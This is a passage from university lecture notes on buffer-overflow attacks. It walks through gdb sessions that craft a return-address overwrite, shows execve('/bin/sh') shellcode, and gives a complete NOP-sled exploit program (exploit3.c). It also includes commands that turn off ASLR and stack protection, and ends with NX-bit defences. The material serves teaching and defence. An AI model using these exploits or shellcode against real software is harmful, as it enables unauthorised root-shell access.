The variable yy: 825243960 <------ ERROR

....

• As you would expect, as you continue to enter longer and longer

strings, at some point the program will crash with a segfault.

• Ordinarily, you would compile the program shown above with a

command line like

gcc buffover2.c -o buffover2

36
Computer and Network Security by Avi Kak Lecture 21

which would leave the executable in a file named buffover2.

However, if you are unable to reproduce the buffer overflow
effect with the compilation command as shown above, try the
following:

gcc -fno-stack-protector buffover2.c -o buffover2

As mentioned toward the end of last section, the default stack

overflow protection provided by --fstack-protector is not
foolproof. As I will show in the next section, this protection
does not prevent some faiely ordinary attempts at stack
memory corruption.
To further increase the odds of the demo working in your
system, you could also try
sudo sysctl -w kernel.randomize_va_space=0

gcc -fno-stack-protector -z execstack buffover2.c -o buffover2

where the the first command turns off address-space layout

randomization (ASLR) that I have described in Section 21.8
and the additional flag “-z execstack” makes the stack
executable.

37
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.6 USING gdb TO CRAFT PROGRAM

INPUTS FOR EXPLOITING
BUFFER-OVERFLOW VULNERABILITY

• As you now know, exploiting a buffer overflow vulnerability in

some application software means, first, that there exists in the
application at least one function that requires a string input at
run time, and, second, when this function is called with a
specially formatted string, that would cause the flow of
execution to be redirected in a way that was not intended by
the creators of the application.

• Our goal in this section is to answer the question: How does one
craft the specially formatted string that would be needed for a
buffer overflow exploit?

• One of the most basic tools you need for designing such a string
is an assembler-level debugger such as the very popular GNU
gdb.

• We will carry out our buffer-overflow input-string design

exercise on the following C file:

38
Computer and Network Security by Avi Kak Lecture 21

// buffover4.c

#include <stdio.h>
#include <string.h>

void foo(char *s) {

char buf[4];
strcpy(buf, s);
printf("You entered: %s", buf);
}

void bar() {
printf("\n\nWhat? I was not supposed to be called!\n\n");
fflush(stdout);
}

int main(int argc, char *argv[]) {

if (argc != 2) {
printf("Usage: %s some_string", argv[0]);
return 2;
}
foo(argv[1]);
return 0;
}

Note the following three features of this program:

1. As you can see from main, the program requires that you
call it with exactly one string as a command-line argument.
[The argument count held by argc includes the name of the program (which in our case is
buffover4.c).]

2. main calls foo() with the command-line argument received

by main. The function foo() is obviously vulnerable to
buffer overflow since it uses strcpy() to copy its argument
string into the array variable buf that has only 4 bytes
39
Computer and Network Security by Avi Kak Lecture 21

allocated to it.

3. The function bar() is NOT called anywhere in the code.

Therefore, ordinarily, you would never see in your terminal
window the message that is supposed to be printed out by
printf() in bar().

• Our goal in this section is to design an input string that when

fed as a command-line argument to the above program would
cause the flow of execution to move into the function bar(),
with the result that the message shown inside bar() will be
printed out.

• We obviously want the overflow in the buffer allocated to the

array variable buf to be such that it overruns the stack memory
location where the stack-frame created for foo() stores the
return address. As mentioned previously, the return address
points to the top of the stackframe of the calling function.
Even more importantly, this overwrite must be such that the
new return address corresponds to the entry into the code for
the function bar(). [If you just randomly overrun the buffer and overwrite the return
address in a stack frame, you are likely to create a pointer to some invalid location in the memory.

When that happens, the program will just crash with a segfault. That is, with a random overwrite of

the return address in a stackframe, you are unlikely to cause the thread of execution to initiate the

execution of another function. ]

40
Computer and Network Security by Avi Kak Lecture 21

• In the rest of this section, I will show how you can “design” an
input string for the program shown above so that the buffer
overflow vulnerability in the foo() function can be exploited to
steer at run-time the flow of execution into the bar() function.

• The step-by-step demonstration presented below was created

with Ubuntu 10.4 64-bit Linux distribution. [If you are not sure as to
whether you are running a 32 bit or a 64 bit Linux distribution, do either uname -a or

uname -m. In either case, for 64-bit Linux, you will see the substring x86 64 in the string

that is returned. ]

• Note that since we will be working with 64-bit memory

addressing, as mentioned previously in Section 21.4, in the
discussion that follows the register that holds the stack pointer
is named rsp and the register that holds the frame pointer is
named rbp.

• Here are the steps:

Step 1: Compile the code with the ’-g’ option in order to produce the
information needed by the debugger:

gcc -g buffover4.c -o buffover4

Do realize that we are leaving in place the default stack protection

provided by the gcc compiler. As you will see, this default stack
protection does not do us any good.

41
Computer and Network Security by Avi Kak Lecture 21

Step 2: We now run the executable buffover4 inside the gbb

debugger:

gdb buffover4

Step 3: We need the memory address for entry to the object code for
the bar() function. As stated earlier, when the return address in
the stackframe for foo() is overwritten, we want the new address to
be the entry into the object code for bar(). So we ask gdb to show
the assembler code for bar(). This we do by

(gdb) disas bar

where (gdb) is the debugger prompt and where disas is simply

short for the command disassembly — you can use either version.
The above invocation will produce an output like

Dump of assembler code for function bar:

0x000000000040068e <+0>: push %rbp
0x000000000040068f <+1>: mov %rsp,%rbp
0x0000000000400692 <+4>: mov $0x400800,%edi
0x0000000000400697 <+9>: callq 0x400528 <puts@plt>
0x000000000040069c <+14>: mov 0x20099d(%rip),%rax # 0x601040 ...
0x00000000004006a3 <+21>: mov %rax,%rdi
0x00000000004006a6 <+24>: callq 0x400558 <fflush@plt>
0x00000000004006ab <+29>: leaveq
0x00000000004006ac <+30>: retq
End of assembler dump.

From the above dump, we get hold of the first memory location that
signifies the entry into the object code for bar(). For the
compilation we just carried out, this is given by
0x000000000040068e. We are only going to need the last four bytes
of this memory address: 0040068e. When we overwrite the buffer
for the array buf in foo(), we want the four bytes 0040068e to be
the overwrite for the return address in foo’s stackframe.

42
Computer and Network Security by Avi Kak Lecture 21

Step 4: Keeping in the mind the four bytes shown above, we now
synthesize a command-line argument needed by our program
buffover4. This we do by

(gdb) set args ‘perl -e ’print "A" x 24 . "\x8e\x06\x40\x00"’‘

Note that we are asking perl to synthesize for us a 28 byte string in

which the first 24 characters are just the letter ’A’ and the last four
bytes are what we want them to be. In the above invocation, set
args is a command to gdb to set what is returned by perl as a
command-line argument for buffover4 object code. The option ’-e’
to perl causes Perl to evaluate what is inside the forward ticks. The
operator ’x’ is Perl’s replication operator and the operator ’.’ is
Perl’s string concatenation operator. Note that the argument to set
args is inside backticks, which causes the evaluation of the
argument. [Also note that the four bytes we want to use for overwriting the return address
are in the reverse order of how they are needed. This is to take care of the big-endian to
little-endian conversion problem.]

Step 5: We are now ready to set a couple of breakpoints for the

debugger. Our first breakpoint will be at the entry to foo() and our
second breakpoint at a point just before the exit from this function.
To set the first breakpoint, we say

(gdb) break foo

Step 6: For the second breakpoint, as mentioned above, we need a

point just before the thread of execution exits the stackframe for
foo(). To locate this point, we again call on the disassembler:

(gdb) disas foo

This will cause the debugger to display something like:

43
Computer and Network Security by Avi Kak Lecture 21

Dump of assembler code for function foo:

0x0000000000400654 <+0>: push %rbp
0x0000000000400655 <+1>: mov %rsp,%rbp
0x0000000000400658 <+4>: sub $0x20,%rsp
0x000000000040065c <+8>: mov %rdi,-0x18(%rbp)
0x0000000000400660 <+12>: mov -0x18(%rbp),%rdx
0x0000000000400664 <+16>: lea -0x10(%rbp),%rax
0x0000000000400668 <+20>: mov %rdx,%rsi
0x000000000040066b <+23>: mov %rax,%rdi
0x000000000040066e <+26>: callq 0x400548 <strcpy@plt>
0x0000000000400673 <+31>: mov $0x4007f0,%eax
0x0000000000400678 <+36>: lea -0x10(%rbp),%rdx
0x000000000040067c <+40>: mov %rdx,%rsi
0x000000000040067f <+43>: mov %rax,%rdi
0x0000000000400682 <+46>: mov $0x0,%eax
0x0000000000400687 <+51>: callq 0x400518 <printf@plt>
0x000000000040068c <+56>: leaveq
0x000000000040068d <+57>: retq
End of assembler dump.

We will set the second breakpoint to the assembly instruction

leaveq:

(gdb) break *0x000000000040068c

Step 7: Now we are ready to run the code:

(gdb) run

As you would expect, this execution will halt at the first breakpoint.
Given that our code is so simple, it won’t even take a moment for
that to happen. When the execution halts at the breakpoint, gdb
will print out something like this:

Starting program: /home/kak/course.d/ece404.11.d/BufferOverflow/buffover4 ‘perl -e .....

Breakpoint 1, foo (s=0x7fffffffe757 ’A’ <repeats 24 times>"\216, \006@") at buffover4.c:13

44
Computer and Network Security by Avi Kak Lecture 21

Step 8: With the execution halted at the first breakpoint, we want to

examine the contents of the stackframe for foo. To see what the
stack pointer is pointing to, we invoke the GDB commands shown
below. The values returned are displayed in the commented out
portions of the display:

(gdb) print /x *(unsigned *) $rsp # what is at the stack location

# pointed to by stack pointer
# $1 = 0xffffe410

(gdb) print /x $rbp # what is stored in frame pointer

# $2 = 0x7fffffffe2f0

(gdb) print /x *(unsigned *) $rbp # what is at the stack location

# pointed to by frame pointer
# $3 = 0xffffe310

(gdb) print /x *((unsigned *) $rbp + 2) # what is the return address

# for this stackframe
# $4 = 0x4006f8

(gdb) print /x $rsp # what is stored in stack pointer

# $5 = 0x7fffffffe2d0

The specific values we have shown as being returned by the print

commands are for this particular demonstration. That is, if we were
to recompile buffover4.c, especially if we do so after we have
changed anything at all in the source code, these values would
surely be different.

Step 9: Let’s now examine a segment of 48 bytes on the stack starting

at the location pointed to by the stack pointer:

(gdb) x /48b $rsp

This will return an output like

45
Computer and Network Security by Avi Kak Lecture 21

0x7fffffffe2d0: 0x10 0xe4 0xff 0xff 0xff 0x7f 0x00 0x00

0x7fffffffe2d8: 0x57 0xe7 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffe2e0: 0xa8 0x9a 0xa6 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffe2e8: 0x10 0x07 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2f0: 0x10 0xe3 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffe2f8: 0xf8 0x06 0x40 0x00 0x00 0x00 0x00 0x00

You see a six line display of bytes. In the first line, the first four
bytes are, in reverse order, the bytes at the location on the stack
that is pointed to by what is stored in the stack pointer — earlier
we showed this value to be 0xffffe410. The first four bytes in the
fifth line are, again in reverse order, the value stored at the stack
location pointed to by the frame pointer. Earlier we showed that
this value is 0xffffe310. Again you saw earlier that when we
printed out the return address directly, it was 0x4006f8. The bytes
shown in reverse order in the sixth line, 0xf8, 0x06, 0x40, and 0x00,
correspond to this return address.

It has been a while since we talked about the flow of execution

having stopped at the first breakpoint, which we set at the entry
into foo. To confirm that fact, if you wish you can now execute the
command

(gdb) disas foo

You will see the assembler code for foo and an arrow therein that
will show you where the program execution is currently stopped.

Step 10: Having examined the various registers and the stackframe for
foo, it is time to resume program execution. This we do by

(gdb) cont

where the command cont is the short form of the command

continue. The thread of execution will come to a halt at
46
Computer and Network Security by Avi Kak Lecture 21

our second breakpoint, which is just before the exit from the
object code for foo, as you will recall. To signify this fact,
gdb will print out the following message on the screen:

Breakpoint 2, foo (s=0x7fffffffe757 ’A’ <repeats 24 times>"\216, \006@") ....

Step 11: At this point, we should have overrun the buffer allocated to
the array variable buf and hopefully we have managed to overwrite
the location in foo’s stackframe where the return address is stored.
To confirm that fact, it is time to examine this stackframe again:

(gdb) print /x $rsp # what is stored in stack pointer

# $6 = 0x7fffffffe2d0

(gdb) print /x *(unsigned *) $rsp # what is at the stack location

# pointed to by stack pointer
# $7 = 0xffffe410

(gdb) print /x $rbp # what is stored in frame pointer

# $8 = 0x7fffffffe2f0

(gdb) print /x *(unsigned *) $rbp # what is at the stack location

# pointed to by frame pointer
# $9 = 0x41414141

(gdb) print /x *((unsigned *) $rbp + 2) # what is the return address

# for this stackframe
# $10 = 0x40068e

As you can see, we have managed to overwrite both the contents of

the stack location pointed to by the frame pointer and the return
address in the stackframe for foo.

Step 12: To see the consequences of the overwrite of foo’s return

address, let’s first create a new breakpoint at the entry into bar by

47
Computer and Network Security by Avi Kak Lecture 21

(gdb) break bar

GDB will come back with:

Breakpoint 3 at 0x400692: file buffover4.c, line 18.

Step 13: Recall that we are currently stopped at the second

breakpoint, which is just before the exit from foo. To get past this
breakpoint, let’s now step through the execution one machine
instruction at a time by issuing the commands:

(gdb) stepi

(gdb) stepi

The first call above will elicit an error message that you can ignore.
I believe this message is a result of the overwrite of the location
pointed to by the frame pointer. The second call, however, will elicit
the following from gdb:

0x000000000040068f 17 void bar() {

Now you know for sure that you are inside the object code
for bar. This means that our overwrite of the return address in the
stackframe for foo worked.

Step 14: We will now issue the following commands:

(gdb) cont

(gdb) cont

The first command will take us to the third breakpoint we set

earlier. And the second will cause the following to be displayed in
your terminal window:

48
Computer and Network Security by Avi Kak Lecture 21

Continuing.

You entered: AAAAAAAAAAAAAAAAAAAAAAAA@

What? I was not supposed to be called!

Program received signal SIGSEGV, Segmentation fault.

0x00007fffffffe3f8 in ?? ()

The code in bar() was executed successfully before we hit segfault.

• Now that we successfully designed a string that overwrites the

return address in foo’s stackframe, we can feed it directly into
our application program by

buffover4 ‘perl -e ’print "A" x 24 . "\x8e\x06\x40\x00"’‘

and what you will see will be a response like

You entered: AAAAAAAAAAAAAAAAAAAAAAAA@

What? I was not supposed to be called!

Segmentation fault

• A program input-string designed in the manner described above

will, in general, work only for a specific compilation of the
source code. Should there be a need to recompile the program
buffover4.c, especially if you do the recompilation after you
have made a change to the source code, you may have to
49
Computer and Network Security by Avi Kak Lecture 21

redesign the input string that would result in return address

overwrite.

• Finally, some of the other gdb commands that you will find
useful in the context described here are: list to see where
exactly you are in the source code at a given moment; s to step
into the next function; bt to see a listing of all the stackframes
currently in the stack; frame i to see the a particular
stackframe; info frame i to see the values stored in the stack
frame at the locations pointed to by the stack pointer, the frame
pointer, etc.; info locals to see the values stored for the local
variables; info break to see the information on the
breakpoints; info registers for the various registers. If you
want to print out the value of a local variable in hex, you say
print /x variable name; and so son. You enter quit to exit
the debugger.

50
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.7 USING BUFFER OVERFLOW TO

SPAWN A SHELL

• If an attacker can use a buffer overflow in the stack or in the

heap to spawn a shell, especially the root shell, you can well
imagine the havoc the attacker can wreak in your machine.

• Step-by-step instructions on how buffer overflow can be

exploited to spawn a shell were first published pseudonymously
under the name Aleph One in 1996 in what is now considered to
be one of the most famous articles in computer security. The
title of the article is “Smashing The Stack For Fun And
Profit” and it was published in a journal called Phrack. [As is
now known, the real name of this author is Elias Levy. In the year 2000, he was named by Network

Computing as one of the 10 most influential people at that time. As to why, Elias used to moderate

the BugTraq mailing list for computer security information during the days when most large

corporations would shove under the rug any reports about flaws in their software and hardware

products. The BugTraq mailing list allowed engineers and programmers to post these flaws without

fear of reprisals from their employers. As a result, BugTraq contributed significantly to raising

general awareness regarding security vulnerabilities. He was also the CTO and the co-founder of the

company SecurityFocus, which was acquired by Symantec in 2002. ]

• Before detailing in the rest of this section the steps you must
undertake for constructing a shell-spawning buffer overflow
51
Computer and Network Security by Avi Kak Lecture 21

attack, here is a summary of the steps:

1. A good starting point for learning how to spawn a shell with buffer overflow is a
simple C program whose main job is to call execeve() with the argument
/bin/sh

2. You examine the assembly code for the above mentioned program and come up
with a minimal list of assembler instructions that would do the same thing as the
program itself.

3. You test your collection of assembler instructions by putting them in a regular C

program and making the crafted sequence of assembler instructions as the
argument to ’ asm ()’ call.

4. If your collection of assembler instructions is correct, you look at the opcodes for
the program in the previous step with the objdump tool. You convert each opcode
and the associated arguments into the hex representation. The sequence of these
hex representations is your shellcode string.

5. In order to test that your shellcode is executable, you test it by setting a function
pointer to the beginning of the shellcode. That assignment should cause the
shellcode to be executed.

6. Next, you need to figure out how a given vulnerable application (meaning a
vulnerable C program) can be subject to a buffer overflow attack using the
shellcode you just created.

7. At some point during its execution, the vulnerable application will write out the
shellcode into its stack. But how do you make sure that the buffer overflow will
overwrite the return address in the current stackframe with the address you want
to place there through the shellcode?

8. You see, as the vulnerable application is being executed, in general, the

application may have pushed any number of local variables into the stack before it
gets around to writing your shellcode into the stack.

9. For any give vulnerable application, this may call for testing with augmenting the
shellcode with longer and longer no-op bytes until you have the needed rewrite for
the return address.

• The goal in the rest of this section is to elaborate on the steps

listed above. I’ll start with the highlights of the Aleph One
52
Computer and Network Security by Avi Kak Lecture 21

recipe for spawning a shell with buffer overflow. It would help if

the reader would first go through the following document:

stack_smashing_annotated.txt

that is bundled with the code associated with Lecture 21 at the

“Lecture Notes on Computer and Network Security” website.
As its title suggests, this document is an annotated version of
the paper by Aleph One. The not-yet-fully-completed
annotations are by me and were necessitated by the fact that
both the compiler gcc and the assembler code instruction sets
have evolved during the last 20 years and those changes need to
be accounted for if you want to create a modern implementation
based on Aleph One’s recipe.

• A good starting point for spawning a shell through buffer

overflow is to first see how a shell can be spawned through a
program (as opposed to through the command-line directly,
which is what we do most of the time). Here is a program from
Aleph One that does the job for you:

// shellcode.c

#include <stdio.h>
#include <unistd.h>

int main() {
char* name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}

53
Computer and Network Security by Avi Kak Lecture 21

• If you run the command “man execve” in your terminal screen,

here is how the manpage begins for this command: “execve()
executes the program pointed to by filename. filename must be either a binary
executable, or a script starting with a line ....”.
Later in this section, I will
show the full signature of the execve function when I talk about
how to actually generate the shellcode for a buffer overflow
attack.

• If you compile the code shown above with, say, “gcc -o

shellcode shellcode.c” and run the executable, it will
immediately put you in a shell in which you’ll be able to execute
any command that your login credentials allow.

• In order to create a command-line string argument for buffer

overflow, as shown by Aleph One, we can do that by using
segments of the assembler code instructions for the program
shown above. As you saw in the previous section, this is again
best done with the help of the gdb debugger tool. Let’s go ahead
and do that. However, in order to stay to close to the spirit of
Aleph One’s narrative, let’s carry out a 32-bit compilation of
this code with [You can run 32-bit code on a 64-bit processor provided you have the requisite
libraries installed.]:

gcc -m32 -o shellcode -ggdb -static shellcode.c

where the “-static” option incorporates the code for the call to
execve within the executable that is produced. Without this

54
Computer and Network Security by Avi Kak Lecture 21

flag, the executable will only have a reference to the library that
would need to be linked in at run time. Let’s invoke the
debugger on the output file
gdb shellcode

and examine the assembler code for main:

disas main

We get
Dump of assembler code for function main:
0x0804887c <+0>: lea 0x4(%esp),%ecx
0x08048880 <+4>: and $0xfffffff0,%esp
0x08048883 <+7>: pushl -0x4(%ecx)
0x08048886 <+10>: push %ebp
0x08048887 <+11>: mov %esp,%ebp
0x08048889 <+13>: push %ecx
0x0804888a <+14>: sub $0x14,%esp
0x0804888d <+17>: mov %gs:0x14,%eax
0x08048893 <+23>: mov %eax,-0xc(%ebp)
0x08048896 <+26>: xor %eax,%eax
0x08048898 <+28>: movl $0x80bad08,-0x14(%ebp)
0x0804889f <+35>: movl $0x0,-0x10(%ebp)
0x080488a6 <+42>: mov -0x14(%ebp),%eax
0x080488a9 <+45>: sub $0x4,%esp
0x080488ac <+48>: push $0x0
0x080488ae <+50>: lea -0x14(%ebp),%edx
0x080488b1 <+53>: push %edx
0x080488b2 <+54>: push %eax
0x080488b3 <+55>: call 0x806c620 <execve>
0x080488b8 <+60>: add $0x10,%esp
0x080488bb <+63>: mov $0x0,%eax
0x080488c0 <+68>: mov -0xc(%ebp),%ecx
0x080488c3 <+71>: xor %gs:0x14,%ecx
0x080488ca <+78>: je 0x80488d1 <main+85>
0x080488cc <+80>: call 0x806ef20 <__stack_chk_fail>
0x080488d1 <+85>: mov -0x4(%ebp),%ecx
0x080488d4 <+88>: leave
0x080488d5 <+89>: lea -0x4(%ecx),%esp
0x080488d8 <+92>: ret
End of assembler dump.

and, while in the debugger, making the call “disas execve”

returns

55
Computer and Network Security by Avi Kak Lecture 21

Dump of assembler code for function execve:

0x0806c620 <+0>: push %ebx
0x0806c621 <+1>: mov 0x10(%esp),%edx
0x0806c625 <+5>: mov 0xc(%esp),%ecx
0x0806c629 <+9>: mov 0x8(%esp),%ebx
0x0806c62d <+13>: mov $0xb,%eax
0x0806c632 <+18>: call *0x80ea9f0
0x0806c638 <+24>: pop %ebx
0x0806c639 <+25>: cmp $0xfffff001,%eax
0x0806c63e <+30>: jae 0x8070520 <__syscall_error>
0x0806c644 <+36>: ret
End of assembler dump.

• As explained by Aleph One, one examines the assembler code

shown above and, from the code, puts together a sequence of
assembler instructions needed for synthesizing a “shellcode”
character array for buffer overflow. Here is one example of such
a sequence of assembler instructions from Aleph One:
// shellcodeasm.c
int main() {
__asm__ (
"jmp 0x2a;" // 3 bytes
"popl %esi;" // 1 byte
"movl %esi,0x8(%esi);" // 3 bytes
"movb $0x0,0x7(%esi);" // 4 bytes
"movl $0x0,0xc(%esi);" // 7 bytes
"movl $0xb,%eax;" // 5 bytes
"movl %esi,%ebx;" // 2 bytes
"leal 0x8(%esi),%ecx;" // 3 bytes
"leal 0xc(%esi),%edx;" // 3 bytes
"int $0x80;" // 2 bytes
"movl $0x1, %eax;" // 5 bytes
"movl $0x0, %ebx;" // 5 bytes
"int $0x80;" // 2 bytes
"call -0x2f;" // 5 bytes
".string \"/bin/sh\";" // 8 bytes
);
}

• Next, you would need to compile the assembler code shown

56
Computer and Network Security by Avi Kak Lecture 21

above with a command like [You may have to first install the gcc-multilib library for
this to work. You can do that with a command like “sudo apt-get install gcc-multilib”]

gcc -m32 -o shellcodeasm -ggdb shellcodeasm.c

• You can examine the assembler code and the associated opcodes
with gdb. For example, to see the main section of the assembler
code and the opcodes in that section, we invoke disas inside the
debugger with the /r’ option:
gdb shellcodeasm

disas /r main

which returns
Dump of assembler code for function main:
0x080483db <+0>: 55 push %ebp
0x080483dc <+1>: 89 e5 mov %esp,%ebp
0x080483de <+3>: e9 47 7c fb f7 jmp 0x2a
0x080483e3 <+8>: 5e pop %esi
0x080483e4 <+9>: 89 76 08 mov %esi,0x8(%esi)
0x080483e7 <+12>: c6 46 07 00 movb $0x0,0x7(%esi)
0x080483eb <+16>: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
0x080483f2 <+23>: b8 0b 00 00 00 mov $0xb,%eax
0x080483f7 <+28>: 89 f3 mov %esi,%ebx
0x080483f9 <+30>: 8d 4e 08 lea 0x8(%esi),%ecx
0x080483fc <+33>: 8d 56 0c lea 0xc(%esi),%edx
0x080483ff <+36>: cd 80 int $0x80
0x08048401 <+38>: b8 01 00 00 00 mov $0x1,%eax
0x08048406 <+43>: bb 00 00 00 00 mov $0x0,%ebx
0x0804840b <+48>: cd 80 int $0x80
0x0804840d <+50>: e8 bf 7b fb f7 call 0xffffffd1
0x08048412 <+55>: 2f das
0x08048413 <+56>: 62 69 6e bound %ebp,0x6e(%ecx)
0x08048416 <+59>: 2f das
0x08048417 <+60>: 73 68 jae 0x8048481 <__libc_csu_init+81>
0x08048419 <+62>: 00 b8 00 00 00 00 add %bh,0x0(%eax)
0x0804841f <+68>: 5d pop %ebp
0x08048420 <+69>: c3 ret
End of assembler dump.

57
Computer and Network Security by Avi Kak Lecture 21

• In order to generate the “shellcode” for buffer overflow, you

would need to dump out the opcodes in the executable for the
above program. You can see the opcodes with a tool like
objdump as in the following commands:

objdump -d shellcodeasm

objdump -d shellcodeasm | grep \<main\>: -A 20

The first command spits out the opcodes for the whole program
and second shows 20 lines of the output for the main section of
the executable. This will be identical to what was shown for
main previously with the “disas /r main” command inside the
debugger.

• You can string together the opcodes into a shellcode string. The
shellcode string put together by Alpeh One for one of his buffer
overflow examples is shown in the following C program:
// overflow1.c

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

int main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

58
Computer and Network Security by Avi Kak Lecture 21

strcpy(buffer,large_string);
return 0;
}

• If you compile the program shown and execute it, you will be
placed in a shell — provided you run your code on a i386
processor. In order to create the shellcode for a 64-bit x86
processor, you’d need to follow the recipe in the annotated
document mentioned at the beginning of this section. That is
left to you, the reader, as an exercise.

• In the rest of this section, I will show the assembler instructions

compiled by Patrick Schaller in his tutorial “Tutorial: Buffer
Overflows”. This compilation of the assembler instructions
when executed will put you in a shell on a modern x86
processor. Here it is:

// shellcodeasm3.c
// by Patrick Schaller

int main()
{
__asm__(
"xor %eax, %eax\n" // eax = NULL
"push %eax\n" // terminate string with NULL
"push $0x68732f2f\n" // //sh (little endian)
"push $0x6e69622f\n" // /bin (little endian)
"mov %esp, %ebx\n" // pointer to /bin//sh in ebx
"push %eax\n" // create array for argv[]
"push %ebx\n" // pointer to /bin//sh in argv
"mov %esp, %ecx\n" // pointer to argv[] in ecx
"mov %eax, %edx\n" // NULL (envp[]) in edx
"movb $0xb, %al\n" // 11 = execve syscall in eax
"int $0x80\n" // soft interrupt
);
}

59
Computer and Network Security by Avi Kak Lecture 21

These assembler instructions seek to make a system call to the

Linux function execve whose signature is
int execve( const char *filename, char *const argv[], char *const envp[])

with the first parameter filename set to a pointer to the

pathname to the function that execve must execute, which in
our case is the NULL-terminated character sequence “//bin/sh”;
with the second parameter argv set to an array of argument
strings passed to the function that will be executed by execve —
in our case, that is a pointer to an array whose first element is
again “//bin/sh”; and with the third parameter envp, meant for
setting the environment variables, will be set to NULL in our
case. Note how the first instruction uses the xor operator to
create a NULL in the EAX register. Also, as stated in the
associated comment, the hex 0x68732f2f is the little-endian
representation of the string “//sh” and the hex 0x6e69622f the
little-endian representation of the string “/bin”. After
successfully pushing the NULL-terminated character sequence
“/bin/sh” into the stack, the stack-pointer will contain the
address of this character sequence in the stack. So, next, we
place this address in the register EBX; and so on. [Note that the last
instruction int 0x80 is a mnemonic for “interrupt 0x80”, meaning a system call through a software interrupt.

The interrupt handler in this case is identified by 0x80, which is the Linux kernel itself. As to which specific

system call is being attempted, that depends on what is in the EAX register. If the EAX register contains the

integer 1, that implies a call to exit. In this case, the value in the EBX register holds the status code for

exit(). On the other hand, if the EAX register holds the decimal integer 12, which is case in the code shown

60
Computer and Network Security by Avi Kak Lecture 21

above, then that is a call to execve. The arguments supplied in this system call would be supplied by the

registers shown in the code above. ]

• If I compile this file with

gcc -m32 -o shellcodeasm3 shellcodeasm3.c

and run the executable in my Ubuntu laptop by simply calling

shellcodeasm3, I get the shell prompt, implying a successful
execution of the code with regard to its ability to put you in a
command shell.

• We can therefore sequence together the opcodes for the above

program as a “shellcode” string for mounting a buffer overflow
attack. As shown previously, we can use a tool like objdump to
see the opcodes for the above program. These opcodes are in
the shellcode string in the program shown below:
// shellcodeopcode.c
// by Patrick Schaller

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";
int main()
{
void (*fp)() = shellcode;
fp();

61
Computer and Network Security by Avi Kak Lecture 21

return 0;
}

We can compile it with “gcc -fno-stack-protector -o

shellcodeopcode shellcodeopcode.c”, with or without the -m32
option, and a successful compilation would indicate that our
shellcode is indeed executable. [Since the character array shellcode contains machine
code, just by setting a pointer for the function fp to the beginning of the array causes the machine code to be

executed. ]

• Next let’s address the question of how one uses the shellcode
string previously constructed to mount a buffer overflow attack
on a given vulnerable application in order to spawn a shell
through such an attack.

• Using the shellcode character array shown above in

shellcodeopcode.c, Patrick Schaller has written an exploit for
spawning a shell by mounting a buffer overflow attack on a
vulnerable program named overflowexample.c that is shown
below:

// overflowexample.c

#include <stdio.h>

void proc(char* str, int a, int b)

{
char buf[50];
strcpy(buf, str);
}

int main(int argc, char* argv[])

{

62
Computer and Network Security by Avi Kak Lecture 21

if(argc > 1)
proc(argv[1], 1, 2);
printf("%s\n", argv[1]);
return 0;
}

• What follows is the exploit on the code shown above:

// exploit3.c
// by Patrick Schaller

#include <stdio.h>
#include <unistd.h>

#define BUF 80
#define NOP 0x90

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";

long unsigned get_esp()

{
__asm__("mov %esp, %eax");
}

int main(int argc, char *argv[])

{
int ret, i, n;
int *bufptr;
char *arg[3], buf[BUF];

if(argc < 2){

printf("Usage: %s offset\n", argv[0]);
exit(1);
}

/*estimated return address*/

ret = get_esp() + atoi(argv[1]);

/*fill buffer with return addresses*/

bufptr = (int*)buf;

63
Computer and Network Security by Avi Kak Lecture 21

for(i=0;i<BUF; i +=4)
*bufptr++ = ret;

/*fill first part of buf with nops*/

for(i=0;i < 20 ; i++)
buf[i]= NOP;

/*copy shellcode into buf after nops*/

for(n=0;n<strlen(shellcode);n++)
buf[i++]=shellcode[n];

/*set up argv for vulnerable program*/

arg[0] = "./overflowexample";
arg[1] = buf;
arg[2] = NULL;

/*execute vulnerable program*/

execve(arg[0], arg, NULL);
return 0;
}

• As you can see in the “Usage” string in the exploit code, it

expects an offset for the position of the shellcode filled in the
array buf relative to the stack pointer. Patrick Schaller suggests
running the exploit in a loop with different values for the offset
to find the one that succeeds. If you are using bourne shell, you
can use the following command line for that

for i in $(seq 0 20 4000) ;do echo $i; ./exploit3 $i; done

• But, obviously, you have to first compile the exploit code. You
could try doing so with the following command:

gcc -fno-stack-protector -m32 -o overflowexample overflowexample.c

64
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.8 Buffer Overflow Defenses

• The strategies described here are in addition to the

rearrangement of local variables and the insertion of canaries
in the stackframes that I presented in the second half of Section
21.4.1.

• If a buffer overflow attack calls for inserting the shellcode

directly into the stack and executing it there, that can be
thwarted by making the stack nonexecutable.

• A stack can be made nonexecutable by using the NX bit in a

memory address — a feature that is supported by many modern
CPUs. (The acronym NX stands for “No-eXecute.”) After the
operating system has used the NX bit to mark those portions of
the memory that are meant to contain only data, the CPU
would not execute any malicious code that resides therein. [For
Intel processors, the NX bit is more commonly known as XD (eXecute Disable) bit. ARM refers to the same

] In 64-bit
thing as XN (for eXecute Never). And AMD refers to it as Enhanced Virus Protection.

x86 processors, the bit at position index 63 (the most significant

bit) serves as the NX bit. If this bit is set to 1, code starting at
that position will not be executed by the processor. On the
other hand, if this bit is set to 0, code execution can begin at
that location.
65
